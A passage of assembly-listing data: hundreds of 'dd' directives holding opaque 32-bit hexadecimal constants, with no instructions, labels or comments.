		dd 0EDBB2B00h, 23E68B2h, 8786002Eh, 0CDDFF34Fh,	0E0095A1h
		dd 3B8F5499h, 5B92652h,	0C7683569h, 9D40BE7Bh, 1950F496h
		dd 0F2A100CCh, 0F373F1B6h, 0EFB08C8Ah, 0E2131F00h, 7DEB5B9Bh
		dd 0BCA13FDCh, 0C5A2A502h, 0CCC061C1h, 0FC000B1Bh, 2B56F873h
		dd 79C4610h, 0CE65556Dh, 54DF2085h, 8D00B13Ah, 0FCA7A1D7h
		dd 1F06D184h, 88F6DBh, 0A9C1D61h, 3A003022h, 107EC689h
		dd 0E880AA19h, 3137191h, 0A9D5FC8Bh, 0C6D843BDh, 3279B828h
		dd 0E122F503h, 0F0347F51h, 1A04763h, 7A7CC679h,	0F804ECDEh
		dd 1C00A354h, 0D4922C99h, 0B23E2Ah, 0FC13DBE1h,	691A2EACh
		dd 34C6C003h, 0D070BECBh, 1DBDCE4h, 4A984B11h, 0E81316D7h
		dd 7BE45F55h, 5600C2E2h, 20A36652h, 28CD14h, 0D39739A4h
		dd 58E071FAh, 78004879h, 0FCA35FADh, 73F0DD50h,	82740F9Eh
		dd 8C2E13B3h, 0B197FFA0h, 0AC0F4B58h, 0A0C66891h, 53B31C5Bh
		dd 6673B02h, 552BBE80h,	1FF8F599h, 8F3F62FAh, 5D1E80A9h
		dd 0EBDE2CBFh, 0D6EE3AB0h, 403C649Eh, 3560940Ch, 0D0151CFh
		dd 0D4B46571h, 61309E67h, 2C0B2CADh, 21594010h,	741653FBh
		dd 0C0094E9h, 758091ECh, 85F40143h, 996E3810h, 7B36E48Fh
		dd 0E126F900h, 0DC048A4Dh, 0BDD50EE0h, 83E0C50Dh, 0ADC81AC3h
		dd 40901D0Fh, 0E4A7C3F1h, 63B4E289h, 48B7C850h,	0FF7300A0h
		dd 3A4EE09Eh, 18F20722h, 6F3EF700h, 428DA89Fh, 0E71C02F5h
		dd 561AE659h, 0B409C760h, 0BE3CB97Fh, 0AEF5871Dh, 3480288Eh
		dd 211573Fh, 0E5308D3Bh, 0A08259B3h, 50C89367h,	2000DECDh
		dd 0D627A1B5h, 98BBEC3h, 7C1C09B4h, 70000109h, 0CF291EC2h
		dd 2F7B3F1Dh, 18FF218Ch, 51600920h, 840023E5h, 0A81BF038h
		dd 3EC4D00h, 0C912337Ah, 0B2E70077h, 0D7BF68FDh, 0C4B2E948h
		dd 79873900h, 1333A259h, 20520071h, 7D3B0B5Ch, 0CF00F0A1h
		dd 48EBC0DBh, 3BD02E85h, 13788D2Fh, 68CC28h, 0E8411B86h
		dd 20FAFA59h, 0C64B9A1Dh, 0BC3835C0h, 0B4EB87h,	0F18A3DD3h
		dd 6576F611h, 22005C7Dh, 0A8C6FA8Dh, 7CDDBC1h, 2726E1E0h
		dd 0E0C8B789h, 7515B458h, 6F00F4B8h, 872C7EC5h,	1F9538h
		dd 0B5D8ED40h, 65E9140Fh, 0BE70A43Fh, 2252803Dh, 554863FBh
		dd 907AEE11h, 96FE009Bh, 0E172C1D7h, 0D8075D05h, 0CAA1333Bh
		dd 53A8B221h, 0B06126D9h, 15C5C60h, 82FAEF37h, 40BEC062h
		dd 0C7A373BFh, 5A0075B0h, 0E93B47B4h, 5C966A27h, 0D5006B30h
		dd 9BF670B1h, 44755384h, 0C71CF2F6h, 0A3D21C71h, 0FB602C00h
		dd 1C2F5680h, 791973Ah,	1040F801h, 3EED8B86h, 30D56500h
		dd 2D4B9812h, 896C0B24h, 0B880CE1Bh, 0BF02925Eh, 0D30E41FCh
		dd 5DEB84A5h, 4C1C0064h, 80D89989h, 0CC7FA760h,	96D13FD9h
		dd 34175280h, 8FD03078h, 187C071Eh, 0BE709D80h,	0E06C38C2h
		dd 0F87474C7h, 0AD6A39F0h, 0D890F483h, 83F92F72h, 0E569E1FEh
		dd 711980F1h, 4480672Eh, 226F005Ah, 4C9C640Ah, 20C0CB3Dh
		dd 0C2617BD5h, 817E05E8h, 0C2993C01h, 90C0B387h, 69B0506Eh
		dd 0CC7DAA1Fh, 0B740A51Fh, 4789F4DFh, 0C6DD0053h, 93CF4405h
		dd 990020D9h, 0A024E27Fh, 18C94AF7h, 68D4120Dh,	0E10174D2h
		dd 0C4D1812Eh, 5A8E99BEh, 634001FDh, 3B2619C0h,	30E74C00h
		dd 0D8182DF9h, 965600AFh, 20B083E4h, 0E3073678h, 2AA83AD3h
		dd 67A6A30h, 9871E012h,	0CD4D0CB8h, 6FB8B7A7h, 1A1B861Dh
		dd 0D8BF5AC0h, 0B8727312h, 13E62448h, 0CA3A068Dh, 0FDE49A54h
		dd 10C91AC0h, 8F76A0h, 64B234D7h, 0EBA39124h, 0D8782709h
		dd 49C00193h, 842998DEh, 0DC19F580h, 0FEF4BE24h, 6717DC98h
		dd 30010538h, 17666B8Dh, 0BB10F340h, 2DC8006Fh,	3CDB3794h
		dd 0FE009592h, 0C4C9F8EAh, 0EB5FDh, 0CB75DA26h,	5CDD646Eh
		dd 369FF200h, 4CC10930h, 0A4843FB1h, 28EDB000h,	355C7B9Ch
		dd 319E190Fh, 0E0766E80h, 7334CA57h, 1EC10045h,	3C11C259h
		dd 0A558B275h, 53E502C7h, 40A44B7Eh, 71771C74h,	3FC400D4h
		dd 8E0C7F3Bh, 0F300DACCh, 0A88B1F03h, 909B59E1h, 0C86702DAh
		dd 0E905B089h, 55FF44E0h, 0CC85E630h, 951D8AEh,	0EAA94E5Fh
		dd 88D07400h, 0B180C6E3h, 324C00D7h, 0BEFE8FDFh, 33006634h
		dd 0E5FB55CDh, 24516745h, 1E402B06h, 2EB290A6h,	3600F84Dh
		dd 8F53A1E2h, 41FF01D8h, 6D55C6Dh, 99C03025h, 72F5D000h
		dd 9D365FC9h, 9ED81677h, 1EEC1285h, 0BAD3C024h,	0B1EDE337h
		dd 21E44E00h, 57301D87h, 5113001Eh, 3704A170h, 27199145h
		dd 0E318563Ah, 261262FCh, 83ECAFB4h, 0FB70D2D4h, 0EDF0908Ch
		dd 0A500A6C1h, 0C6BF90E2h, 2CCAB8h, 9DA25658h, 0ADB99F5Eh
		dd 0E040248h, 0C0DA77EAh, 0FBD0ABFDh, 81E60112h, 0BCCE552Ah
		dd 158074C7h, 5CF5FC00h, 28EA7046h, 4C90ECF1h, 3A83A8C3h
		dd 0C6A006C7h, 2658DDF0h, 0B65E0320h, 0A122E33Fh, 8C302591h
		dd 90BA00CFh, 24E654DBh, 2900E4B3h, 365CCC08h, 39E8920h
		dd 2CED1B81h, 0B9A0F457h, 5201BD93h, 1299398Ch,	0C040A93Bh
		dd 3CFDC889h, 5C800CE5h, 94142857h, 0AF28FCACh,	6500C85Ah
		dd 68666D6Ah, 14B6A590h, 0CC1EA87Ch, 0D750F600h, 4142F4B2h
		dd 6B8C7F1Eh, 0A34AEBC0h, 147E76Fh, 69A627E2h, 0C5566DF8h
		dd 7F13C0CBh, 1B908900h, 0BB7916FCh, 98E1h, 0C509B91Eh
		dd 4C4F05E6h, 4B59000h,	20BD6084h, 69492CA7h, 9CA40480h
		dd 0A310C05Fh, 0BB1814F1h, 9A165BC6h, 0CC4301D3h, 0B68E33A7h
		dd 6823C44Eh, 35058B76h, 2903D076h, 5B1D0480h, 9EE42047h
		dd 84276C00h, 0AB6E2BE2h, 51C008Dh, 924DECFCh, 3A1F998Fh
		dd 0E6C0B058h, 38D9379Bh, 7BB060h, 5BCFF3F2h, 8CAB7696h
		dd 0A1C74502h, 48FAFE50h, 0F84090h, 3B54DF3Dh, 0EB477FFCh
		dd 0A667F300h, 0AE99C0C1h, 0E2E6C9h, 53BAB923h,	960EE73Dh
		dd 0EED43806h, 0A0A87Eh, 0FF486114h, 9FD01CD9h,	42853A00h
		dd 0AE98265h, 0E8314883h, 5A3C7500h, 6A2EE6B0h,	0D900387Eh
		dd 0C3955CC0h, 0CA72FAh, 0A4CEA16Dh, 131144BDh,	90781A07h
		dd 6347F52Ch, 0AC553A40h, 0E4EBFE22h, 6AE40654h, 0F6A025A6h
		dd 0FB08E096h, 4A29396h, 811EA51Bh, 0E08C77F0h,	0A03D473Dh
		dd 0C1688795h, 0D4100DEAh, 0F3AD941Eh, 4B95BFCh, 0B0F66D7Bh
		dd 0AB5C801Bh, 10C06E86h, 0D6560C3Ch, 0D0EA059Eh, 0A03F1EFCh
		dd 0FB00042Ch, 88D9C8Ch, 0CBF045h, 33EEBD43h, 44817939h
		dd 3291AA05h, 0E01EA47Dh, 93A0F700h, 90E2F5Ch, 14105573h
		dd 0F36FD080h, 0A903E94Ch, 0C2856307h, 0AB1802E3h, 0F5562505h
		dd 2D017C7Ah, 921D7610h
		dd 40CA0F1Ch, 2CF12490h, 0E70C19Eh, 1D0049CEh, 28D543DAh
		dd 1C032499h, 8995F1CBh, 73E00F16h, 0A04605D0h,	0C043EE23h
		dd 0A23F36C4h, 0D35AE304h, 7E80325Eh, 73B9C819h, 0CFE200C3h
		dd 0AE55E4BDh, 9E002A7Fh, 891C2B49h, 5732BEh, 768309C8h
		dd 94284B80h, 1E78600h,	0E3F5E637h, 0D0565CECh,	2E959F00h
		dd 0FB48B83Ch, 0BDA9A800h, 84BF8546h, 30B7FDFh,	0EFCD1D40h
		dd 35C05DE2h, 0DB07A598h, 0B92BCAE3h, 12A1E6D0h, 95310289h
		dd 0E46B290Ch, 9F617100h, 764D0059h, 0B5D64FD7h, 0DC774CCFh
		dd 67428C00h, 0F5552DFDh, 27121D53h, 0AC80E77Fh, 8BDC1130h
		dd 28FFEC12h, 68601F12h, 1EC3F227h, 401E3979h, 3BBCD28Fh
		dd 0B78052Dh, 0DC00DF78h, 47FE462Ah, 2CB53468h,	67E1598h
		dd 0D224760Eh, 1B4C8A00h, 419796FEh, 20184869h,	4164232Eh
		dd 0FC582021h, 0F90F99C3h, 12AD28EEh, 4908740Bh, 8D118458h
		dd 452E00CAh, 4B203E18h, 40C99496h, 1EB6E5F4h, 0F50747FFh
		dd 92461AD0h, 0C0628180h, 49C7007Ah, 0E041EF75h, 4A1F8407h
		dd 5180DBEAh, 18B9AF72h, 23D4147Dh, 0EC058D39h,	0C0B4D191h
		dd 0EA1BDB64h, 0B85C6B0Eh, 802D4987h, 90025874h, 0FE730039h
		dd 0D398DB49h, 7E000AF7h, 0F5DE45B3h, 12923770h, 3E53E6CAh
		dd 24A39F00h, 691B0748h, 4CB29230h, 78A30C0h, 6005C79h
		dd 0A44DF852h, 0B204410Ch, 8C0E0124h, 0C72EDAEEh, 47E5E014h
		dd 0B06B3731h, 8E04936h, 0F5F22D70h, 0DD66CC20h, 3E00ADCDh
		dd 90EA74F6h, 137184h, 0D4D03046h, 0F4DDBC78h, 678A991Fh
		dd 324F4Bh, 0D91293A8h,	0BC3E2E0Ah, 0EC8200BBh,	0FF0FA6DDh
		dd 432A73Ah, 6053B273h,	883F3CC3h, 0FA11FA66h, 0F3FC08D1h
		dd 0EF09B4C9h, 9F3CC8B5h, 3A49028Bh, 0BE6B6205h, 0D279DB60h
		dd 0FE70D300h, 0F5F99112h, 5FB50058h, 96137F24h, 420957A7h
		dd 804041D1h, 9F1F4DB8h, 0A929200Dh, 37ADD501h,	0E0155810h
		dd 0DC104C6Ch, 0D9E4C0ECh, 7ED61C3h, 239ECD0Bh,	42C4B0A0h
		dd 0DD00AF38h, 7DA110BAh, 0B8B0A5h, 582FF940h, 0E1F5CFA4h
		dd 4700AC90h, 565B2990h, 38FEB2CAh, 42807E5Ah, 92ED8CDDh
		dd 0BB7E8BC8h, 8EE59800h, 1497C4ABh, 0E0DC00E3h, 9227FB38h
		dd 74904902h, 5805D93Eh, 0E57B025Ah, 87AB85F3h,	0A420CC94h
		dd 130EB402h, 0C17DAD4Bh, 24F22CCCh, 0E9017878h, 17BC87D5h
		dd 75E8D93Bh, 0D2630E3Eh, 57A4C52Fh, 810CD08Ah,	0D92C5E70h
		dd 6007A0EBh, 4B25F3D8h, 6AF524D0h, 0FC7C030Ah,	4114368Dh
		dd 0C58BD080h, 374AD900h, 55544D17h, 0ACAD0052h, 92C21B3Eh
		dd 0A8C9A2AFh, 24E436h,	3CDB2D97h, 1D04023Fh, 702EC624h
		dd 8844D200h, 4430A8Dh,	5CE820FDh, 4224C216h, 9E130066h
		dd 38D0B9AAh, 1955D25h,	7D41CDF2h, 701F4FBAh, 597EA990h
		dd 0B043425Ah, 0A30EE171h, 1FC18846h, 7CF703FAh, 3051E44h
		dd 0F6B247B8h, 39FB691Fh, 83BB27C0h, 0CDB9DC3h,	1C0182B1h
		dd 5100E688h, 6E8E7E46h, 3CCC970Bh, 47806FDAh, 0F7732713h
		dd 0C17F9178h, 79EA03Ch, 5B63633h, 0B106AD00h, 0CB993F12h
		dd 1C317880h, 27E73372h, 3A131F04h, 0C080E3E2h,	92088591h
		dd 0B80F6DCh, 73956B14h, 0A09FE440h, 0FA2ECB00h, 0AB5EDDD6h
		dd 16F809CDh, 0EC001226h, 464DACBAh, 0B9B42E04h, 80C05A2Ah
		dd 8E87C5h, 0EC1EFF9h, 0A7BA077Eh, 3038CCA1h, 2B2C7328h
		dd 7187D412h, 3AB02097h, 0C4404Bh, 0C27D3EBAh, 0A0DF3244h
		dd 67E0C1Ch, 0C0C55C01h, 0E33133E3h, 72D3434h, 0B46D1112h
		dd 28050090h, 59C0DF40h, 7DD0268h, 4495818h, 7D48A200h
		dd 535CA079h, 0BC05E406h, 9C2D0Dh, 0C9C45545h, 94EB8CE3h
		dd 1F89C617h, 0B77968C1h, 0CD108012h, 80B95C22h, 3C772F48h
		dd 0FC48BEE7h, 17B17171h, 3FFC8C4h, 86E91640h, 146F4808h
		dd 20EA13CBh, 0EF28787Ch, 53D3A207h, 7000E536h,	3020AB66h
		dd 8AC9EA0Eh, 0BE021B90h, 0AEBD3CFCh, 1F81C084h, 90ECEC2Fh
		dd 0DA6400E3h, 7DA92A13h, 790019CCh, 0B4590907h, 55B2F37h
		dd 0B1EC7E62h, 0E3E300EFh, 453ABCC7h, 0C030966Fh, 77015DC4h
		dd 0C3BB021Ah, 98F274EEh, 7CC0B461h, 0D8F900BCh, 0DE147FFCh
		dd 332E2575h, 0E1768480h, 0DF044155h, 1B671C3Eh, 7243F8F4h
		dd 0F280337h, 70DE9122h, 40A4C3A8h, 2D75A516h, 2415800h
		dd 1BE7CA9h, 220B8A29h,	20325726h, 7300CA50h, 0E750E193h
		dd 2E3C67AAh, 80209BB9h, 0AB074AC1h, 3618E1F1h,	53196D2Bh
		dd 8B1930BBh, 0A1FCBF0h, 0B75B3900h, 7F5A07CAh,	33C30590h
		dd 87BBB312h, 60D107D9h, 715D5C3Dh, 0FCE75Ch, 31572A94h
		dd 9911EFh, 9113FD9Ah, 0CB1D1482h, 34040D5Fh, 84E2DF09h
		dd 6D5C802Dh, 399E1300h, 0C4967Dh, 420B1DA0h, 84EFBC44h
		dd 0DCE84004h, 74A410C5h, 0DDAC24FCh, 0A358264h, 545488C9h
		dd 60F0BF89h, 1CA113D4h, 698AC01h, 79DE6794h, 0D5BB4800h
		dd 0FC7038BFh, 9F6019Ah, 2A923C29h, 6D9C4087h, 2EF2E9ACh
		dd 22C7260Bh, 89646044h, 0D79800AFh, 0A2DE13Eh,	0DB00C6FAh
		dd 0BBB08481h, 1F363104h, 80039F41h, 831D881Ah,	4E00FC95h
		dd 0D76194BEh, 0EE3B05h, 28327E21h, 0FCE3C834h,	0E7B4EC00h
		dd 72431120h, 0EFD60745h, 0C38DD82Bh, 28482985h, 0D09400B6h
		dd 0C38B1B0Fh, 0BC41C4E2h, 4D9CC005h, 0DE00443Ch, 7E652374h
		dd 0C0F5C1F7h, 1E165BB1h, 0F90014BFh, 0E680EAA5h, 0FA138FB3h
		dd 0DA93001Fh, 9E725DCDh, 0F325AB86h, 389402C8h, 19230057h
		dd 0DB008864h, 0A465EFC4h, 10DA89h, 0A0ED0843h,	8211BC07h
		dd 28B89A4Ch, 0D113B867h, 0B8016E76h, 0A3922B0Eh, 0BA75474h
		dd 4A1FC3BAh, 364D2403h, 6C605ABAh, 78C2071Eh, 0D89359F6h
		dd 0CC61006Ch, 84DE4381h, 0D9F0F2DDh, 0B7B08F02h, 56CDC7BCh
		dd 0FFC0076Ch, 638607Ah, 0B8008045h, 3A904F9h, 0FCEE867h
		dd 91926628h, 731C19E0h, 8497A5Eh, 218C2548h, 5F66187Ch
		dd 1C85D8FFh, 3A4E03E3h, 9F4583A8h, 9213F00Eh, 8BA4A140h
		dd 0E0F6BDC2h, 0FA66218Ch, 0B4283CBAh, 14269F01h, 0FCBE79DAh
		dd 1E80995h, 0E92E8300h, 0EF5B3759h, 0D7DC1638h, 1F540B67h
		dd 3DD9E4B0h, 6C0249h, 8A44AD89h, 0B0E1C01Ah, 40DE16C0h
		dd 92A40083h, 0BBEDA4CEh, 0A70BECB8h, 206423h, 91B9B04Ah
		dd 0EB6D0112h, 0BD50D77Ah, 21C8E48Fh, 0B47C6800h, 0FCC985FDh
		dd 0A8B64945h, 0F8D9653Ah, 6900AB3Ah, 0BEB4749h, 0C004DD61h
		dd 0F3B70797h, 0AD8DA8C1h, 0D85D43CEh, 3A4399h,	0F603385Dh
		dd 1045FF46h, 819A2300h, 2F52D9CBh, 0A1E6189Eh,	16A798AEh
		dd 13428D0Eh, 4EDC8330h, 0C51806ACh, 0D0E48C0Bh, 0FFD4FC00h
		dd 0E19019CDh, 7CCA79A9h, 0ECB23E20h, 58573B80h, 3626F835h
		dd 0C121E033h, 1A48D8A0h, 61E50F0Ah, 27C03176h,	0D88E2C78h
		dd 0DAB3A804h, 0E9C25EABh, 0FADE80B6h, 126EE62Dh, 30DE51h
		dd 0A007067Ah, 7000EFEDh, 1410D024h, 169DFC6Ah,	40949218h
		dd 17B206ECh, 5000DF23h, 0C35E6841h, 233AF8Ch, 0F5E7C48Fh
		dd 5C409793h, 6005CD75h, 0C303D401h, 0B738F0h, 0A0985CDDh
		dd 0AB42DE04h, 0D700E07Dh, 0E7534C82h, 16573F3Ah, 0A167E1h
		dd 923108A5h, 0CB1F567Dh, 0D0F0A403h, 0FC8846FCh, 5281E99Ch
		dd 0E57151EAh, 907C5Fh,	0D5E60E9Ah, 1C9C7C5h, 0BC3B3605h
		dd 0DC921CC1h, 0DC0008B5h, 0E84C98AEh, 6BCA1Dh,	21DB5E2Ah
		dd 9DC712DDh, 6CD6B109h
		dd 32B8A014h, 611AB2B5h, 5A33C805h, 93C2DC25h, 0BF13BE07h
		dd 0ED53C404h, 0FF529014h, 7AD300FAh, 9B4AA259h, 243EE69Dh
		dd 0FD6C805Fh, 0A43A0E70h, 554B033h, 0EBC77E76h, 0FD98D87Dh
		dd 0E0098D02h, 82FB62B8h, 60E807BEh, 2A1AE8h, 0FF8F5F49h
		dd 3E6510A6h, 241C24B8h, 11DEF0B7h, 72500420h, 0B097DE42h
		dd 0AD4B3720h, 16A012h,	0BC5CAA01h, 3C30F704h, 36472EE9h
		dd 7D700F2h, 7AC88D3Dh,	0C5A38C09h, 0E1644063h,	30BE9081h
		dd 0AC10285Fh, 1A00D98Eh, 0B8CA4E82h, 23BC02h, 46137EB2h
		dd 40D2E9A6h, 5DC6931Ch, 0BAAC9D5Dh, 0D0C14A01h, 8030B861h
		dd 0C4D10012h, 0DFE05B4Dh, 9F1FE8DBh, 3C40ADDCh, 1657C727h
		dd 380400EFh, 0A044E0C2h, 0BA2C64ECh, 220E3475h, 0DCBD401Dh
		dd 77301C8h, 52B6765Ch,	0BF4B1014h, 0D21F5EFEh,	0C7C0BD0Dh
		dd 55DAE2EAh, 3A2D00A6h, 34D9E42Ch, 0AE90A8BAh,	0C82A191Dh
		dd 0F0AC6800h, 3D56E56Fh, 890709D1h, 0B3C96B79h, 70A0F905h
		dd 4414ECEFh, 4A86EC5h,	0DDD0F53Fh, 499BB381h, 0A4F890DAh
		dd 0ADD402FFh, 0CE663DA0h, 146B1840h, 7B05B81Dh, 4615EAC9h
		dd 0ECD102F8h, 0DF0BC7AEh, 0C1510CC0h, 4D5AF800h, 0C4DED476h
		dd 779A2C91h, 4B330BB4h, 0D9F9F0A0h, 38122F68h,	802C1Bh
		dd 71F1594h, 507AC4F8h,	0BDF7F217h, 85F8C943h, 927E4338h
		dd 5A0BFFE0h, 8078896Ah, 0C97098C4h, 0B65B165Fh, 2DE44017h
		dd 0BDD6BBE4h, 2010970Eh, 0E764C01Dh, 83229Dh, 57FA823Ah
		dd 2DFBAA1h, 49296F03h,	0BBC3980Eh, 87D6F990h, 13484820h
		dd 80A82D12h, 0B80DBEACh, 4ADB0B00h, 73154705h,	7EB3028Dh
		dd 0A832DD57h, 81AA1660h, 487FE600h, 833DE454h,	869B244Ch
		dd 0D1210FFAh, 697BF1E0h, 30F8FA48h, 193A3C0Eh,	0C9996050h
		dd 3C5D5A52h, 0EC8214BAh, 2779D9A3h, 2E9380C0h,	359A6900h
		dd 0E4C8B196h, 7EF9865h, 74FD76A6h, 0D06FF7D1h,	0C8480D35h
		dd 1AB01800h, 0EBE6CD06h, 59C6001Ch, 55684DB2h,	3005F60h
		dd 2D37A92Ch, 70F076h, 13853888h, 0D4B03FB4h, 0ED41461Ch
		dd 5D4C6E42h, 0DDB4E08Ch, 0AA7174h, 0EA3EE315h,	414B6C55h
		dd 0EDF7C600h, 0B2DCC4D5h, 0E9B15820h, 9D616700h, 17FE25CEh
		dd 2C3DAB07h, 7CB02609h, 0E251C69Bh, 5DE72EB3h,	0EF8940F0h
		dd 0BB00DD3Fh, 9729C5A8h, 647A41h, 0A1AED58Ah, 231859DFh
		dd 83DDEC39h, 0E82809EEh, 3C8EC804h, 4B98A5h, 0A463589Fh
		dd 8CFE45B7h, 80407B00h, 9639BC10h, 9EF8F56Ch, 0FCFB0098h
		dd 2CE1AB5Bh, 1900CC5Eh, 327893A9h, 979BB1h, 5B4FAEAh
		dd 2C741476h, 31DAF503h, 695428h, 0D6BE7C38h, 0A566E42Bh
		dd 0DAAA1100h, 0FC37B9A4h, 9C300418h, 0C0E234F9h, 2E6229B9h
		dd 86DA5B60h, 1D14DB1Bh, 0C47A68h, 32D28E6Ch, 0EC00C120h
		dd 0EF08FD4Bh, 0DDA98Ah, 7AD511B7h, 0DC893E22h,	0E8F4BD75h
		dd 52624700h, 7B7E82F0h, 2E43016Dh, 71572005h, 0D01ECDEAh
		dd 18272F42h, 7AA0C1F9h, 4505BFCh, 5C2A0F03h, 4666801Eh
		dd 8C01F01Fh, 64F57813h, 0AAF0AD12h, 0FF2CCh, 59FFD38h
		dd 0EE365D1Eh, 0B0193924h, 0E8901612h, 9D58C2h,	75DA77EBh
		dd 1DE27FA3h, 0E7487E1Ch, 0D9BF3Bh, 0ED74F6E5h,	53550Ah
		dd 0C950F3BCh, 428615BBh, 0B1B63Ch, 87A74027h, 987E1BA5h
		dd 7C202650h, 811F029Dh, 0A470574Ah, 892728F8h,	2F148065h
		dd 3A0CC710h, 0B1011834h, 21293732h, 0E3218367h, 98EDA73Fh
		dd 0C0D390F9h, 83F31208h, 0C800D5DFh, 960A037Bh, 0ED7D4F9Ah
		dd 16EC18F1h, 0B19E0084h, 0A03CB4E7h, 0AE031BD3h, 1DB5018Ch
		dd 0F947C0B3h, 44541521h, 0A8078419h, 0C00FEB64h, 1A920953h
		dd 0B1A12200h, 0C750669Eh, 6A490EB8h, 0B922C867h, 6880584Ah
		dd 0D545C4B2h, 67142707h, 5C609D25h, 0AA810Bh, 0F6EC9987h
		dd 40188D7Fh, 3C13A04h,	0E585636Dh, 0C7CC0AEh, 6700EBAEh
		dd 399DD8E8h, 40E28Eh, 5969538Dh, 0E0441BDh, 283C38h, 0B8957B58h
		dd 0F04C71h, 8FB2CDA9h,	0B95E2205h, 0AA3993E8h,	3773808Ah
		dd 0D3117E66h, 25DB0774h, 0F0BF782Ch, 347FBA79h, 1DB62400h
		dd 7B0CCFEFh, 9E9D073Dh, 67EAA9h, 0DEE5B703h, 90D29415h
		dd 50880090h, 0A0F486B2h, 0AF4B00A7h, 44993B7Ch, 3C1E414Eh
		dd 7D87512Ch, 0CBC0C22Bh, 1CCF05C7h, 0C0E0CED2h, 39673DF9h
		dd 0D600E589h, 0C73C767Dh, 1C3E3A88h, 404133B8h, 2B7BB2D4h
		dd 0D5003BBFh, 1DDF77FDh, 3B3D65Ah, 848D151Ah, 0CBA802BCh
		dd 0CC0FFB05h, 0E75286C5h, 103733Bh, 77E1A853h,	0CBF20468h
		dd 0C06CA1E7h, 0F005D201h, 0BA921100h, 78B3D81Ch, 0C10D00EAh
		dd 52E31D84h, 3C00519Dh, 3A1E9BABh, 0B57AE34h, 1BB178D6h
		dd 0A4081C5Bh, 42B544A2h, 10F1667h, 101AD41h, 0D311C518h
		dd 826B12BBh, 24A09C14h, 0BE13210Ch, 110E9F11h,	3012A793h
		dd 118D4312h, 8102329h,	803AA01h, 0E488C444h, 841790A7h
		dd 4848D238h, 94BDE84Fh, 0CE193C5Bh, 87C29D5h, 4FB94480h
		dd 89D1FA84h, 0E38F1060h, 70AE0048h, 29099F22h,	9600C061h
		dd 7D39DEFh, 3D45C6h, 53804B81h, 51D46E04h, 57378200h
		dd 29E4F78Ah, 1AF7667h,	63AEFD7Bh, 0F2501D95h, 0FC25E640h
		dd 0E0DB3117h, 8A815401h, 0F2F8DA5h, 57606784h,	0FB9AC102h
		dd 0B562CD09h, 0D870F8h, 4865378Ah, 17CB62Eh, 40C41100h
		dd 8DDDA047h, 0E7660F29h, 900BF17h, 0E637634Bh,	0B80B185Ah
		dd 0F724E160h, 6A2AD4h,	878C6112h, 4AF683CBh, 0D64F8A00h
		dd 0A7231F16h, 614901Eh, 0A22EC76Dh, 0C2002895h, 0B7F29362h
		dd 4AB3CF52h, 0B150D03Fh, 0F0071C5h, 0A70A9026h, 0B8E0280Ch
		dd 0BB2500ACh, 3A497EC3h, 90CECA3h, 507D529Ah, 1B9701BEh
		dd 4374157Ah, 0E26C7082h, 3BADDC02h, 0D045A381h, 0E05E00FCh
		dd 56643E21h, 0F713BEA9h, 0D102E530h, 40A0FD90h, 3088C1Ch
		dd 45627CE0h, 87FFC646h, 2F4C9056h, 8A001BB8h, 7CDC7E7Fh
		dd 0A26A97h, 0B9AFD67Bh, 7DAE0B2Dh, 13B8CC5Ch, 8CF49C17h
		dd 77A31DD7h, 3C1E40F0h, 0ED283A72h, 0CF9AA001h, 51290C2Bh
		dd 23C2FE40h, 15CD006Eh, 12B6D7E8h, 4D1EA3C6h, 0F1805BDDh
		dd 6F4E276h, 9DB5A5h, 0C63007E4h, 2197274Bh, 0B7CDDA54h
		dd 37C3AC7Dh, 0AFA8FCC8h, 2B00BE05h, 0F666FE83h, 8BE4B0h
		dd 7E2D600Dh, 0E78C55BCh, 0B246FC00h, 2C663F4Ch, 24474DC3h
		dd 0DC441627h, 0F841981Eh, 808E6BB8h, 0F91AC0ACh, 917300DEh
		dd 0CF266B3h, 0A8916A3Bh, 0D1C46500h, 0FFD0EAh,	5236925Eh
		dd 0FDA7C395h, 3A00CD77h, 0C2B8B5E0h, 0F1493B7h, 5C017E80h
		dd 1E864809h, 6E0016FEh, 0D43E029Fh, 0EFA090h, 0A9470A38h
		dd 78DA9429h, 0BA70C901h, 7F69E6C7h, 1457B881h,	0C050F498h
		dd 0E801874Dh, 0F77EEFD5h, 7C70C7CCh, 0DF0700F8h, 23DBBAD7h
		dd 8C17504Ch, 29007A89h, 0AE5E67F1h, 621A7A09h,	56B398E3h
		dd 0A0C7E443h, 268CFC07h, 7703D37Bh, 982766ADh,	0C07098DEh
		dd 23E200C1h, 0C457585Bh, 54FA4DE8h, 0FBF88800h, 37A031D7h
		dd 0F5BF160Bh, 7140C0AAh, 96055605h, 4A1B180h, 0B0152680h
		dd 9CF4E91h, 18D2702Ch,	7AB6F200h, 75BD1830h, 4272004Fh
		dd 2DC29403h, 0F301E70Dh, 6E0E8DF9h, 0ACD0089Eh, 4A3C0055h
		dd 59315154h, 0B70424AAh, 764EDC8Ch, 0ACE038C4h, 0B66C01E8h
		dd 72F78257h, 7AE6DCA3h, 1D24CF16h, 98EC7400h, 601AC3h
		dd 6769765Ch
		dd 81AD9B4Bh, 0B23FF200h, 0D5BC620Eh, 1ED977ACh, 3F6C4AFh
		dd 42A1AE60h, 741B72E0h, 54FC217h, 39A44A00h, 9E2D37Ah
		dd 0BECD4375h, 1D2EF852h, 873AA4ECh, 2971749Fh,	91D69B41h
		dd 5FE2E840h, 0E3EA508Dh, 0A7B43E64h, 4D7F013h,	80A0C474h
		dd 44E6AC5Ch, 2E006998h, 3D5C4C6Bh, 8CAABCh, 78594FD2h
		dd 20EB8918h, 1B78F6FAh, 0DE55A000h, 9B8F330Ah,	6BB700D0h
		dd 0E10786CBh, 3824BF12h, 7538C004h, 38DFFD2Fh,	3420810h
		dd 91F1C396h, 3E994482h, 0AE8030C0h, 8038693Ch,	8C42F9D5h
		dd 13FE28E0h, 0E0DAC9EDh, 320FE5A0h, 0E0D9B172h, 68B0D5DFh
		dd 6BFB01BCh, 0E924A82Eh, 0DCE0304Ah, 0AEE12703h, 0E0AC3D03h
		dd 796610h, 0DE8C2BD3h,	0EE04FACEh, 0BB346109h,	2E64E055h
		dd 0CCA80051h, 8CD39C45h, 0A500DDF1h, 4DEF596h,	6A4FBDh
		dd 26956078h, 0A108A299h, 0D3FE4707h, 81DE3606h, 516C4C72h
		dd 58187D20h, 6B008C76h, 0E456ECCEh, 7F75716Fh,	83F6E900h
		dd 2237C35Fh, 988000DBh, 9F55E92h, 5675E274h, 60B50427h
		dd 521C210h, 3DC35A1Fh,	0B945C497h, 1A690028h, 5C76F6EFh
		dd 1B47003Ah, 5A398082h, 440002B6h, 0EF6A7235h,	0B81FB2h
		dd 66E6B385h, 0DD539E1h, 0E4A5EA00h, 51979B4Dh,	0C2CC037Ch
